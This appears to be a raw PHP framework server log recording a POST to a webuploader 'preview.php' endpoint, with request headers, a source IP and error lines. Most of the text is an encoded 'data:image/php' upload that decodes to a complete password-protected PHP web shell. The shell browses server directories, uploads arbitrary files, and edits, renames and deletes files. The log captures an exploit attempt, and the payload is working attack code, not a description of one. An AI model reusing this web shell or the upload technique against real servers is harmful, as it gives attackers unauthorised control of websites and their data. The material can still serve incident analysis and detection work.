'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:47+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/static/libs/webuploader/0.1.5/server/preview.php [运行时间:0.002691s] [吞吐率:371.60req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 